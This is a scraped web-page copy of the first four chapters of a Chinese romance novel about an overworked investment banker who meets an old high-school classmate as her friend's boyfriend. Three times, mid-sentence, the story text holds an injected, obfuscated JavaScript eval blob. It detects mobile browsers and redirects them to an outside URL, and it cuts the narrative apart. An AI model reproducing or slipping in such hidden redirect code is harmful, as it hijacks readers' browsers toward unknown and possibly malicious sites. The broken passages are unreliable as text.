《蓝蓝蓝蓝调啊》 1. 第 1 章 华南的夏季到九月就令人心生倦意。饱和度过高的天,火红的木棉,油翠光亮的树叶,落在眼里无端觉得聒噪,像无孔不入的蝉。 夏天和经期一样,赴时蹈矩到让人厌烦。 有些事物常被歌颂却名不副实,比如说夏季,比如说青春、爱情、打情怀牌的饮料厂家。多年以后百感交集地再次饮下一口往昔熟悉的糖水,味蕾第一时间分辨出了香精和植脂末的存在。 心心念念这么多年,无非是因为当初最想喝的时候没喝到而已。 候机大厅里,乔迦茵只喝了两口,就将饮料瓶放回桌上,矜持地拧回了瓶盖。 没空为“雾西港奶茶”痛陈三百字差评,她还急着在登机前赶工周一要交的材料。 好在宝安机场的充电口足够多。 电脑旁侧的手机又开始震,被她按掉声音放在一边。 这个动作已经是第三次,这一回桌子对面的同事姐姐忍不住抬起眼睛,小声问:“不接电话吗?” 乔迦茵说:“骚扰电话。” 陈安妮哦了一声,识趣地没再追问。 那屏幕上分明有名字。反反复复都是同一个电话在打过来。 乔迦茵刷了一页格式,余光瞥见手机还亮着。 她停顿了半秒,接了电话。 电话那头的男声冷然道:“分手吧。” 乔迦茵问:“理由呢?” 那头的男人笑了一声:“我这几天给你打了多少电话,你接起来几个?现在问我分手的理由?乔迦茵,你说得出来我们上次见面是什么时候吗?” “40天前。” 那边静了一静。 周遭几个都是同事,乔迦茵合上电脑,起身走开几步,盯着候机室的饮水机继续道:“之前就跟你说过,在忙的时候不要来电话,尤其工作日白天,为什么还一直打?” “你白天不接,晚上半夜也——” “也在忙。”她说,“我这份工作你又不是不知道。” “你听听这难道合理吗?40天了,我们一共好好通过几次电话,哪一次不是你先挂断——”汪斐的声音大起来,乔迦茵默不作声地将手机移开一点。 乔迦茵等他抱怨完,平静地说:“这个项目快结了,下周五过后不会那么忙,周末见一面吧。” “不必了。”汪斐说,“我们分手,没必要再这么谈下去。” 乔迦茵思考了一分钟。 有人过来,望见她在饮水机前停留,视线略有疑惑地扫过去,乔迦茵立刻往旁边挪了挪,伸手示意了一下让出空间。 等那人接完水,转身离开之后,乔迦茵思考完毕。 她答复说:“也行。” 那边有一个明显的大喘气,汪斐似乎被她这两字透露出的态度给激怒了,又硬生生忍了下去。 没人说话,乔迦茵将手机从耳边拿下,通话已经挂断。 她漫不经心地刷着手机消息往插了一排电脑的候机办公位走去,坐下时手机本都放下了,想了想还是再次拿起,从小红书收藏里翻了一篇笔记转过去。 陆家嘴dating实录丨这次的男嘉宾比较文艺~ X校金融硕士毕业,住徐汇长宁交汇,巨蟹男,喜欢看日剧,聊天很热情。 博主详细叙述了当晚吃饭、电影、闲聊的全过程,各个元素特征都能和汪斐一一对应。 乔迦茵转发完,打字:【不想接电话不止是因为工作忙,上个月你就在刷软件了吧?】 消息没发出去,前面冒了个红点。 您还不是对方好友。 * 登机后等起飞这段时间干不了活。周五早上的班次,游客意外的多,机舱里各处都是小孩吵吵嚷嚷的声音。乔迦茵没忍住,皱了几回眉头,只能闭目养神。 再睁开眼的时候,眼前多了一只旁边伸来的手,递着纸巾。 陈安妮轻声说:“不是有意听你电话,好像是吵架了?” “谢谢。”乔迦茵低声回答,没说她的眼泪是困出来的,“分手了。” “诶?”对面没料到这个回答,表情一时没调整过来,有些空白。 乔迦茵反过来宽慰她:“没事,没谈很久,感情不深。” 陈安妮张了张嘴要说什么,乔迦茵电话又响了。 她还以为是汪斐,沉默几秒才把手机摸出来,望见来电显示时愣了愣。 孙沁,大学的高中直系学妹。 她们市学生不爱考到外省去,她大学虽然离得不算远,高中每年考过去的也不出三人。 孙沁和乔迦茵差了两届,前者刚升上大一时,从校友群里加到她,见过面玩过几次,后来孙沁似乎是忙于学生会,乔迦茵则是忙起了实习就业,待在学校的时间越来越少,自然而然淡了联系,谈不上有多熟。 “学姐,今年的回校宣讲团队和招生办想请已工作的前辈们回去做校友分享,高中那边也沟通过了,我们觉得你很合适,不知道方不方便呀?时间还没定,可以随你的安排来。” 乔迦茵不免讶异。 “我?回高中宣讲?”一般不都是大学生吗,她都工作两年了。 “不是不是,宣讲是我们的事,主要是请你回去做个经验分享的。”孙沁笑一笑,熟稔地解释,“我们高中快要办30周年校庆了嘛,校友会会支持今年的大学招生宣讲,有宣传上的需求,加上现在的高中生也都对择业就业方面挺感兴趣的,所以高中那边也是特别开辟了这方面的专场。” “还专场……”搞这么正式干嘛,乔迦茵问,“已经有找到其他人了吧?” “听说高中那边现在有确定了两个做分享的学长,都是其他大学的啦,我们本来就人丁稀少,宣讲团队一共才五个人,不像本地学校都是十几个的过来……所以真的很需要你,拜托拜托。” 乔迦茵说:“算了吧,没兴趣。” “真的不去吗?不会占用你很多时间的,应该就一个午休或者周五的班会课!” 乔迦茵敷衍地笑一笑:“我就不去了,也没什么好分享的,又不是很成功。” 而且她感觉校友会期待的人选是那种工作多年的社会精英人士。她刚入职两年,自己都活不明白,算什么好模范。 飞机即将起飞,乔迦茵匆匆挂了电话,调至飞行模式。 陈安妮又来向她搭话:“高中请你回去分享?” 被旁听通话内容,乔迦茵隐约有点不爽,但还是客气地笑一下,说:“是啊,也不知道有什么好分享。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738536|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈安妮说:“要是让我回去分享,我想说别干我们这行,折寿。” 想了想又说,“还是选择比努力更重要。” 乔迦茵点点头,从包里拿出眼药水。看太久屏幕,眼睛酸。 学妹不是她这一行的,大概听她投行名头光鲜,觉得作为母校代表拿得出手,实际上她全年奔波不休,近些年行情不好,环境收紧,各家屡屡降薪又裁员,可谓朝不保夕。 裁第一年的校招生传出去影响声誉,都是从第二年裁起。乔迦茵刚好是第二年,去年刚进来时就赶上降薪敲定。 陈安妮比她早一年进公司,职级高一级,都是基础层级女性,双双落在最危险的范围里。 眼药水落入下眼睑,她眼睛眨了两下。 乔迦茵说:“选择也没用,时机更重要。” 金融从前也是万金油的选择,投行更是大家趋之若鹜的行当。 一步错步步错,从前是风口,如今是陷阱。 顺风还是下风,时机才是关键。 陈安妮表示认可。 起飞没法玩手机,她兴致勃勃地换了个轻松的话题:“既然分手了,我给你介绍几个男生吧,你有什么条件说说?” 这么突然?不过乔迦茵知道陈安妮已婚,可能自己不好换对象,在帮助他人恋情上就格外热心。 乔迦茵将手机放下,半阖着眼睛随口说:“要高、帅,能把白衬衫穿得很好看,性格开朗幽默,平时爱开玩笑,人缘特别好的那种;脑子聪明,但是没有那么好学,不太循规蹈矩,稍微有一点叛逆,会带人逃跑的那种人;共情力强,稍微读过点书,说得出马尔克斯除了《百年孤独》以外其他的作品,但不会刻意显摆,并且富有同情心的好人。” 她没留神就说了一大串,陈安妮木然道:“光是高和帅就筛掉一大批了,更别说后面那些。虽然你说的每一个特质我都很认同,但符合全部条件的人真的存在吗?” 还有“带人逃跑”是什么形容?实在没听懂。在说旧社会还是战争时期啊? 飞机轰然离地,冲向云层。 乔迦茵垂眼望向窗外逐渐变小变远的城市。 “不存在,我虚构的。” 陈安妮稍微松一口气,说:“其实我这边刚好有个人选,算是我远房表弟,去年刚毕业回国的,在漕河泾上班,人不错,长得也挺好的。” 乔迦茵瞟她一眼。 怪不得主动提这个话题,原来是有备而来。 陈安妮被看得也有点尴尬,拨了下头发笑道:“他妈叮嘱我帮他在上海多看看合适的女生介绍着,倒也不是急着催婚什么的,你别有压力,主要是这小伙子社交不多,认识女生太少,一直单身,家里看着也担心。” 乔迦茵压着眉头,尽量不露出为难的神色。 就算退一万步讲,这个人当真不错,介绍人是抬头不见低头见的表姐同事,这层关系怎么想怎么古怪。 可是眼下却也不方便回绝。 “行,正好等这阵忙完可以见一下。”她最后说,“就当交个朋友。” 陈安妮展颜道:“嗯,落地后我把他微信推你。” 乔迦茵说好。 心里想的是,见一面应付应付就算,此后不必再有发展了。 2. 第 2 章 飞机落地时,一阵由下而上的震颤,整个人借力向前俯冲,又重重倒回椅背。 短暂耳鸣后,全舱手机消息声络绎不绝。 乔迦茵等网络恢复后,微信红点接二连三地冒出,一条条往下滑,先回客户,再回领导,随后才点开亲朋好友的对话框。 盛霏:【怎么这么难约啊你,下周末必须来吃饭】 乔迦茵思索。 她连着两个月连轴转,连见汪斐的时间都没有,盛霏似乎是上个月就发出了邀约,一直被她拖着。 当时盛霏说谈了新男友,邀她一见。 左右现在也没了见汪斐的必要,周末多出一段闲暇,可以将这安排补上。 身边陈安妮说着“我把我表弟的名片发过来了哦”,乔迦茵一边嘴上应着好,一边分神给盛霏回复:【那就下个周六吧。】 她回完盛霏,对话框拉回去添加陈安妮的表弟,申请里简单写了一句自我介绍,那边通过得也很快,来回问好寒暄发表情包,打字基本不用过脑子。 乔迦茵在回想盛霏那个神秘的新男友。 盛霏是没有定性的人,三分钟热度,每段恋情都是上头快下头更快,至今最长的感情经历也没超过五个月。她是严重外貌协会成员,但凡是个帅哥就会心动,每回都是一头脑热地扑上去后才发现性格上有种种不合。不过她性格直爽,看得很开,都是和平分手,那些前任们大多处成了好兄弟。乔迦茵和她认识几年,对她这副秉性也算是司空见惯。 这次的男嘉宾,毫无疑问肯定是帅的,不过盛霏没有给她发过照片,似乎对方不喜欢拍照。 只发过一个逆光的侧背影,完全看不出面貌,只能看出身材很好,宽肩窄腰,隐约露出的肌肉线条应该是练过,但又不是练过头到有些吓人的类型。 乔迦茵当时的评价是:“你拍得不错。” 盛霏说:“不是我拍的,是他自己用相机延时拍的。” 乔迦茵:“……” 一个男的,在夕阳下面,给自己找角度,用相机延时拍背影。 这人是不是有点自恋啊。 不过那张照片上模糊的脸部轮廓其实令她觉得有点熟悉,又没想起来在哪里见过。 可能长得好的男生五官多少相似,给她对应到哪个男明星上去了。 * “你朋友迟到啊。”宋玉津说,语气谈不上斥责,带笑的。 宋玉津双眼皮,鼻梁高挺,下颌窄,唇形丰润,细看来下半张脸稍有些女气,但他眼神足够澄明敞亮,恰到好处地消减了五官上的那一点阴柔。 他穿的深灰色磨毛衬衫,熨烫得妥帖,偏向正装的式样,却因为他放松柔和的意态而不显得过于冷漠。 创意菜餐馆,菜式中西结合半土不洋,主打的是环境氛围。靠窗的软座,正对着沪西梧桐街区,白日里光线极好。华东逐渐入秋,叶片悉悉索索落了一些,被扫至街边堆起。时间刚过六点,天已半黑。 他面前摆了杯青柠水,在慢吞吞地喝,时不时瞥一眼窗外。 盛霏解释说:“她有点这个毛病,老是晚个十分钟,我们先点菜就行。” 什么人啊,宋玉津想。 他不大喜欢没时间观念的人。 盛霏说她朋友有点这个毛病,其实她自己问题也不小,几次约会出来都会迟到二三十分钟。宋玉津有意无意地提过一次,盛霏没放在心上,下次还是迟到。他也懒得再说,不想和她起争执。 盛霏抬手唤来服务员点菜,问了句宋玉津想吃什么,他说都行,盛霏于是拿着菜单很快地点起来。 宋玉津捏着吸管,随意地又看向窗外。 这一眼却定住了。 这条马路没有红绿灯,对街的女人容色冷淡,红丝绒般的唇色,在灰蒙蒙的秋里尤其亮眼。她侧着脸看向车流,脚步匆匆地向这里走来。 八角帽下的乌墨色长发被风吹得掀起丝丝缕缕,墨绿色长风衣的衣摆和腰间系带在半空中蜿蜒出一道轻盈的线,短皮靴踩过边缘不清的斑马线,像踏过透明的冰面,震动传至深入地脉的冰冷河川,裂痕如同开花。 他突然想起多年前泼到女生衣服上的深色水渍。 高中入学军训,期间休息的时候,食堂推来饮料车,发的是冰镇绿豆汤,用塑料奶茶杯装灌。 新生像饿狼扑食,一群人乌泱泱地冲上去。 拥挤中,有一杯被不慎捏过头,杯盖飞出去,汤汁全洒到前面女生的后背侧边。女生的头发很黑很直,每一根束成马尾,摇摆的幅度微小。 罪魁祸首是他室友。 在那乌黑发尾轻微一荡,受害者阴沉着脸转过头来的时候,室友却缺德地后退一步,选择让宋玉津背锅。 宋玉津郑重澄清:“不是我干的。” 这是他跟乔迦茵说的第一句话。 而乔迦茵对他的第一句话是:“我要杀了你。” * 身边盛霏已经点完了菜,交还菜单后,漫不经心地和他闲聊。 “J脾气有点怪的,说不定会呛你,你忍忍哈,她没有恶意,对谁都这样。” “我和她刚认识的时候还以为她讨厌我呢,然后发现她就是这么个人。” “真怕你俩吵起来,怎么感觉你很像她说过那种‘最讨厌的男的’……” 宋玉津转回视线,张口道:“你说的这个J……” 盛霏没等他说完,看着手机立刻打断他:“哎,她发消息说到了。” 乔迦茵没看见窗后的宋玉津,抬头对着店名招牌看了一眼做了确认,就推开了玻璃店门。 她向服务员报了桌号,被引领着来到座前时,与宋玉津四目相对。 宋玉津看到她眼睛微微瞪大,一副难掩震惊的神情,而后眼睫毛剧烈颤动起来。 她肯定在心里骂脏话了,他想。 说不定又要杀人。 他暗自在猜,乔迦茵已经喊出他大名。 “宋玉津?” 朋友的新男友,相机骚包自恋男? 她难以置信,转头看了一眼盛霏,“你没跟我说你男朋友是宋玉津啊?” 盛霏也是惊异:“啊,你们认识啊?”她挠了两下头发,说,“好像是没来得及讲。” 手机聊天,来回就那么几句,都以“我男朋友”和“他”代称掉了。 乔迦茵简单解释他们的关系:“高中同学。” 宋玉津对这个定义扬了下眉,倒也没说什么,道:“我也没想到J是你。” 盛霏说:“噢,因为我和J是在外资实习时候认识的,那边都是英文名称呼,我就习惯了。” 她感叹道:“这么巧,早知道就早点把你俩真名说了,我之前是嫌麻烦。” 被感慨巧合的两位当事人对视一眼,当即互相避开了视线。 乔迦茵低头入座,坐在盛霏旁边,宋玉津低头喝饮料。 盛霏说:“菜都点好了,你要喝点什么吗?这家的杨枝甘露超级好喝。” 乔迦茵:“我看看。” 对面宋玉津反倒出了声:“你不是芒果过敏吗?” 乔迦茵瞥他一眼,小声“嗯”了一声。 盛霏一拍脑袋,对乔迦茵说:“我又忘了,你对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738537|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大部分水果都过敏。” 过敏程度还各不相同,有些只是皮肤泛红发痒,有些会即刻在面部、四肢都泛起密密麻麻的红疹,一两周消不下去。 “没事。”乔迦茵淡笑了下,问宋玉津,“你喝的这是什么?” “青柠水。” 乔迦茵说:“那我也这个吧。” “好啊。”盛霏坐在座椅外侧,扬手喊服务员。 * “那你们在高中是同班同学?关系好吗?”盛霏被激起了好奇心,兴致勃勃地问。 她身体前倾,看向的是宋玉津,后者反而笑了一下,下巴一抬,把问题抛回她身边:“你问她。” 盛霏侧头看向乔迦茵。 乔迦茵说:“一般。” 宋玉津附和道:“嗯,那就是一般。” 乔迦茵又压了下眉头,脸色不是很好。 她高中关系好的朋友,到现在都不会断了联系。和宋玉津一毕业就分道扬镳,多年没有见过一次面,当然只能说一般。 盛霏察觉到气氛诡异,忍不住道:“你们不会是关系很差吧?”上来连句叙旧的话都不说。 这回宋玉津先回答:“不至于。” 乔迦茵也说:“没有。” 盛霏:“不,我觉得你俩完全不对付,简直像干过架……”带宋玉津来见J,或许是个错误也说不定。 宋玉津有点无奈道:“真没有,我们高中还是很和平的。” 乔迦茵在旁边面无表情没说话,宋玉津语气都有些不确定了,目光打了个转看向乔迦茵:“……咱俩没结仇吧?” 乔迦茵被两双眼睛盯着,莫名其妙地笑了一声,慢悠悠重复道:“没有。” 盛霏:这不就是有吗! 这个态度…… 宋玉津换了个坐姿,正襟危坐道:“你等下,乔迦茵,是不是因为高三的时候……” “您的饮料到了。”服务员端着青柠水上来。 “谢谢。”乔迦茵接过和宋玉津一模一样的那杯青柠水,望了他那杯一眼,突然想到什么,对盛霏说,“是这样,高中入学第一天,这个人就把喝的洒了我一身。” 盛霏拍案而起:“怎么能这样!” 宋玉津:“……”这个事怎么八百年了还没过去。 他颇觉无语,瞥见乔迦茵在桌子对面冲他抬起水杯,藏在杯后的唇角勾了一下,一点得逞的笑意。 他索性把自己水杯往前一推,语气真诚道:“要不你泼回来吧?能不能一笔勾销?” 乔迦茵笑意微顿,脸上清楚写着“你有病吧”。 盛霏完全是小孩性格,看热闹不嫌事大,还在撺掇乔迦茵:“J,你要不要泼他一下?以后还要一起玩的嘛,反正宋玉津今天难得穿的深色衣服!” 那杯青柠水被盛霏拿过来放到她面前。 你俩是真情侣吗?乔迦茵忽然感觉到非常荒谬。 对面的故交,阔别多年的老同学,双手规规矩矩地搁在桌上,眼睑微垂,似乎也在思考。这副安静模样非常不符合她记忆中对他的印象,随即她就察觉到,这男人虽垂着脑袋,每根头发丝都乖顺地俯落下来,刘海下面微抬眼帘,是在看她。 他一句话没说,她就发现他在挑衅。 乔迦茵忽然别过眼去冷笑了一下。 回过头来时,她原本脸上残余的倦意像是瞬间消逝干净,水洗过一般换了副神情,冰冷,却带着丁点危险的笑意。 她眯了眯眼睛,没管桌上被击鼓传花的那杯饮料,握住了自己那杯一模一样的。 她说:“那你坐好别动。” 3. 第 3 章 “——开玩笑的。” 宋玉津忽然倾上前来,将他那杯饮料拿回去了,好整以暇地咬回吸管,语气温软地求饶,“别真泼啊,这件衣服贵,下次我换件便宜的,你随便泼。” 又是这套。盛霏对他这收放自如的性格也有所领教,切了一声,说:“我就知道。” 乔迦茵撑着脑袋,有点无聊地看向窗外。 刚才宋玉津取回自己的饮料前,不动声色地把她稍举起来的那杯按回了桌上。 拇指稍微擦过她指节,一瞬而已,很快就退开了。 青柠水是冰的,摩挲杯面久了,指腹尽是凉意。 她觉得指节发冷。 这顿饭后半程,她没怎么和宋玉津说话,基本顺着盛霏的话题说。 饭局临近末尾,盛霏去洗手间,人一走,乔迦茵就摸出手机玩,摆明了不想和宋玉津对话的态度。 宋玉津也识趣地保持沉默。 乔迦茵翻了两页的邮件,正看到手头那个项目的关键简讯时,宋玉津突然就不识趣了。 他说:“你刚才生气了吗?” 乔迦茵没抬头:“没有。” 宋玉津没说话。 乔迦茵倒有点坐不住了,抬眼看他一眼,冷冷说:“干嘛不信?我又不是那么容易生气的人。” 宋玉津:“没说不信。” 乔迦茵:“你脸上表情在说。” 宋玉津:“我可能患有面肌抽搐。” 乔迦茵:“哪天患上的。” 宋玉津:“明天。明天就去医院问诊。” 乔迦茵:“记得再挂个精神科的号。” 宋玉津忽然住了嘴,乔迦茵若有所感地转头,盛霏开开心心回来了。 座位上两人还是那副坐得很远,视线毫不相交的模样,看不出刚发生过一场嘴仗。 盛霏问乔迦茵:“今晚有别的安排吗,要不要去喝一杯?难得约你出来嘛。” “恐怕不行。”乔迦茵回答她,她前阵子忙到脱力,现在骤然放松,每天一到点就昏昏欲睡。加上她和盛霏又不是单独喝,宋玉津身为盛霏男友,没有不在的道理,乔迦茵一想到这个就烦,更提不起奔下一场的劲头。 本想直言说有点累,话到嘴边,不知怎么成了“晚上有别的约。” “噢——”盛霏拖长音调,别有深意地看她一眼,“还是之前那个,叫什么来着,汪斐?其实你今天应该带他也过来的,我还没见过呢。” 听到这名字,乔迦茵稍微停顿半秒:“那个分了。” 盛霏意外道:“分了?好像没多久吧——出问题了?” 乔迦茵含糊道:“嗯,有空跟你细说。” “那你今晚是?已经是新的男嘉宾了?” 乔迦茵稍微调整了一下坐姿,心虚的时候视线乱飘,下意识瞥了一眼宋玉津。 后者一副事不关己的模样,若无其事地看向别处。 但这个距离,说什么都会听到的。 她实在不是很想和这人重逢时,就被得知自己目前的感情近况——因为当牛马太忙碌以及男友爱搞花头,一段感情没谈多久就分手,还是对方提的,就在上周刚刚发生。 于是乔迦茵含糊其辞道:“嗯,啊,是啊。” 越在意什么越强调什么,她补充道:“我把汪斐踹了,换了个新的。” 盛霏若有所思道:“我们真是太久没见了。”连好友的感情近况都没及时跟进。 多说多错,乔迦茵不想露馅,动作很快地起身:“那我先走了。” “哎?宋玉津开车来的,让他送你吧。”盛霏说,“哪家店?” 突然被cue的青年抬头,也是略微一怔,然后客气地起身:“我没问题。” 乔迦茵面不改色地胡诌:“静安寺附近一家清吧。” 宋玉津拿出手机道:“名字是什么?我导航吧。” 干,还有导航这回事。 乔迦茵身侧的手掐了掐掌心,凭记忆报了个以前去过的店名。另外二人不觉有异,说说笑笑地结账出门。 宋玉津开车,盛霏坐副驾,乔迦茵坐她身后,身体前倾,扒着座椅和她说话。 车里冷气开得足,后座的风又直对膝盖吹,乔迦茵低头打了个喷嚏。 盛霏说:“你纸巾放在哪儿啊?给她拿一张。” 对着宋玉津说的。 前一个路口刚好红灯。车子向前一刹,宋玉津反手揭开座椅中间的盖子,取出纸巾盒向后递过去。 他借着这个动作顺势回头看乔迦茵一眼,对方倒是反应很大的样子,狠狠夺过纸巾盒往后一坐,避开他视线了。 宋玉津莫名其妙地皱了皱鼻子,随手把冷气调小。 至于吗?总不能还在生气。 乔迦茵将纸巾用力往鼻头按,力道大得眯起眼睛。 宋玉津开车的时候倒不觉得,他一回头,她才发现怎么会离他那么近?车内光线又暗,把握不好距离,难免心慌。 好友及其男友将她好心送到店门口后,乔迦茵下了车,站在马路牙子上微笑着和他们挥手道别。那两人似乎不肯走,冒着被交警警告的风险在路边不胜其烦地和她挥别,乔迦茵后知后觉地醒悟过来,肯定是盛霏不肯走,想见见她那位无中生有的新对象。 乔迦茵暗里叹口气,转身推开玻璃店门进去了,同时动作熟练地摸出手机,一副在门口发消息找人的状态,然后又在吧台前随意坐下,状似等人。 车里,盛霏见状有点失望道:“走了走了,好像那个男的还没来,白等了。” 宋玉津半点好奇也无,神色倦怠早就想走,闻言立刻动作丝滑地掉头行驶。 乔迦茵隔着门窗见那辆车确实离得越来越远,这才起身,冲侍应生面带抱歉地点了下头,径自推门而出,往地铁站走去了。 回个家真不容易。 在她身后的道路转弯处,宋玉津的车向着与她相反的方向行驶。本就是中型车,后座一空,车厢忽然间显得空旷,盛霏也安静下来,拿出手机漫无目的地滑。 宋玉津上了高架,公事公办地问她:“先送你回家?” “好,谢谢。”盛霏简短回答,没有抬头,头发散乱地从耳侧垂落下来,遮挡住驾驶座投来的视线。 都市夜晚的光斑斓纷乱地在玻璃上掠过,像小时候窥视的万花筒。宋玉津开了广播,主持女声轻柔,反而更显得车内安静。 一路开到盛霏住处附近,她才向着自己那侧的车窗转过头,望向高架旁飞速向后退去的大厦们,开口说了下一句话。 “我们分手吧。” * 乔迦茵约了陈安妮的那个远房表弟见面,她亲自选的餐厅。 约会餐厅的挑选有几重讲究,要环境幽雅菜式好吃,价位最好中档稍高,靠数字本身筛去出手抠搜的群体。市区餐厅一共那么几家,反正只要约会对象换得够勤快,流程就会越发熟悉,她报餐厅名字都不经思考。 她出门守时,提早十五分钟到达,在座位上漫不经心地和好友温见竹聊天。 【看照片长得还不错,所以尽早见个面看,能聊得来就再约几次,不行就早点应付掉,总归是同事介绍的,要给个交代。】 那边温见竹回复:【同事介绍的?这么尴尬还是别深入发展了,和父母介绍相亲有什么区别】 乔迦茵敲字道:【我也觉得,所以没打算和他来真的】 发出去后,她停顿一秒,又打了一条消息:【对了,我前阵子遇到宋玉……】 “津”字还没打出去,前方落了一片阴影。 乔迦茵将手机翻面向下,抬头。 “嗨,请问是乔小姐吗?” 眼前的青年很高,似乎浓墨浸染过的眉眼,像复古电影里一般稍显忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738538|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁的深邃面相,友善而腼腆地笑了笑,谨慎地站在离餐桌一步开外的距离,避开了人来人往的走道。 长相是浓颜,没想到性格是温良单纯的类型,气质像男大学生,记得他毕业也没多久。乔迦茵快速审视过后,也弯了弯唇角:“是我。你是邵……允承?陈安妮的表弟?” 邵允承挠了挠后脑,在对面拉开椅子坐下,说:“是的。” “但其实陈安妮之前没和我说过。”乔迦茵不动声色地说,“她提起的时候我还吓了一跳,不知道她还有个表弟在上海。” 邵允承没听出她在试探,解释得很爽快:“因为我们两家关系没那么近,小时候也只有过年才会在老家见面,我在国外读书,和她来往不多,她跟我说起时我也没想到。” 看来这对表姐弟不熟,邵允承不像是会实时向陈安妮汇报进度的人,解除一个警报。 “没想到但也还接受了。”乔迦茵说,“说明有谈恋爱的需求?” 邵允承笑了:“没有,虽然我单身,但没有非要谈恋爱,就他们着急。毕竟陈安妮都特地跟我说了,她甚至发在家庭群里——我不好推脱,就当交个朋友。” 他又补了一句:“而且你的照片很漂亮。” 随后似乎觉得失言,补了第二句:“真人也很漂亮。” 乔迦茵愣了一下,低头笑了:“差不多可以了。” 不仅长相,邵允承气质也像大学生,应该学生时代也没约过几次会,总是一副无比纯善真诚的神情和语气,反而因此说什么话都不会显得虚伪和客套。 邵允承问:“你和我表姐是同事的话,也是做金融的?” 乔迦茵“嗯”了一声:“和她同一个组,做债的。” “做债是……” “债券承做,算是投行。”乔迦茵看他一脸困惑,想起陈安妮说他是搞计算机的,摆了下手说,“无所谓,不重要。” “我看我表姐一直都挺忙的,是不是做这个比较辛苦?” “大部分时间是。”乔迦茵说,“不过我刚结束一个项目,十月会休一段长假。” 邵允承兴致勃勃:“那可以安排旅行了。” “你喜欢旅行?”乔迦茵问他。 邵允承说:“对,空闲时候就喜欢运动和旅行。你呢?” “我就还好。”乔迦茵说,“运动、旅行这两项都还可以,反正也找不到其他的娱乐方式。”做这两项的时候不需要思考,大脑可以下线。 邵允承有些疑惑:“其他也有很多吧,看看剧打打游戏之类……” 一段默认铃声响起,是桌上的乔迦茵手机。 来电人盛霏。 乔迦茵向邵允承示意后,接起电话:“怎么啦?” 盛霏说:“你长假有安排了吗?想邀请你一起旅行。” 怎么这么巧,乔迦茵问:“还没有,去哪?” “暂定去邻省,海边什么的,具体路线没定。” 她又说,“我和宋玉津一起,你来的话,我和你住一间啦。你要不要也带个男的嘛?四个人方便一些。” 这不就是想让她带上那位无中生有的神秘男朋友的意思,又没说得太直,怕她回绝。 乔迦茵心下不情愿给盛霏和宋玉津两人做电灯泡,她本来看到宋玉津就烦。 但她又有胜负心。刚已经承认了自己长假没有安排,在这里退缩拒绝,仿佛宋玉津不战而屈她之兵。 她甚至有点心虚,担忧盛霏爱观察打探,宋玉津熟知她秉性,两人一通气,猜到她的男友是凭空捏造怎么办。 乔迦茵很快做了决定,捂住话筒,问邵允承:“长假有安排吗?” 邵允承茫然道:“没,没有的。”还没理解她什么意思。 乔迦茵说:“那希望你演技可以。” 她放下捂听筒的手,回复盛霏:“没问题,我和我男朋友一起。” 4. 第 4 章 盛霏在从书店柜台取过两杯咖啡,回到自习座位,两人桌,宋玉津在她对面,从书页中抬起头。 盛霏将一杯咖啡推过去:“燕麦拿铁。” 宋玉津说:“我没点。” “请你的。” 宋玉津有不祥的预感,眼神变作审视。 盛霏坐下来,双臂交叉搁在桌上,语气有意放软:“能不能先别告诉J,我们已经分手了?” 宋玉津问:“为什么?” 盛霏视线飘忽,犹豫片刻,承认道:“因为她评价过我,思想不成熟,见色起意,三分钟热度,根本不走心,维持不了长期关系。” 宋玉津表情一时变得有点古怪:“她就很走心?都是长期关系?” “反正比我长点。”盛霏没注意前男友写在脸上的不信,垂头丧气,“我就没超过三个月的。” 作为最新佐证的宋玉津沉默。 盛霏说:“然后当时我不屑一顾,对她说我每次恋爱都有成长,下段肯定不会这样。” “她怎么说?” “她冷笑。” 宋玉津小幅度笑了一下,盛霏义正词严地说:“我要证明她说的是错的。” “问题是她现在好像说对了。” 盛霏有一套自洽的自我逻辑:“不对,因为我并没有认真。” 宋玉津:“……” 盛霏说:“你能get吗?” “你是说,我们两个之间不算谈恋爱,所以你不算失败,根本没有开始,也就没有三个月不到之说了。”宋玉津说,“我没有get。” “你分明get到了。” 宋玉津露出被打败的神情:“是不是有点伤人?那我现在算什么?” “算一个前暧昧对象。” “……”惨遭降级的宋玉津说,“你拿乔迦茵的话当什么真,她那种人,张嘴说话只是为了攻击,转头自己就忘了。” “是吗?” “是的,她是黑魔仙人格,以伤害和贬低他人为乐,时不时要发出点莫名其妙的冷笑和狂笑。”宋玉津严肃道,“和她较真就是悲剧的开始。” “……黑什么?” 对面的女生一脸清澈的不解,宋玉津停顿两秒,说:“你小时候没看过巴啦啦小魔仙?” “没有。你看过?” 宋玉津:“很好看,为你的童年感到遗憾。” 盛霏一挥手撇去这个话题,“总之,我当时对J放了话的,我不想丢脸,显得她说准了。” 宋玉津给她出主意:“或者以你刚才的说法,你告诉她我们其实没有交往过。” “那不行,她不会认的。” “你自己都认了。” 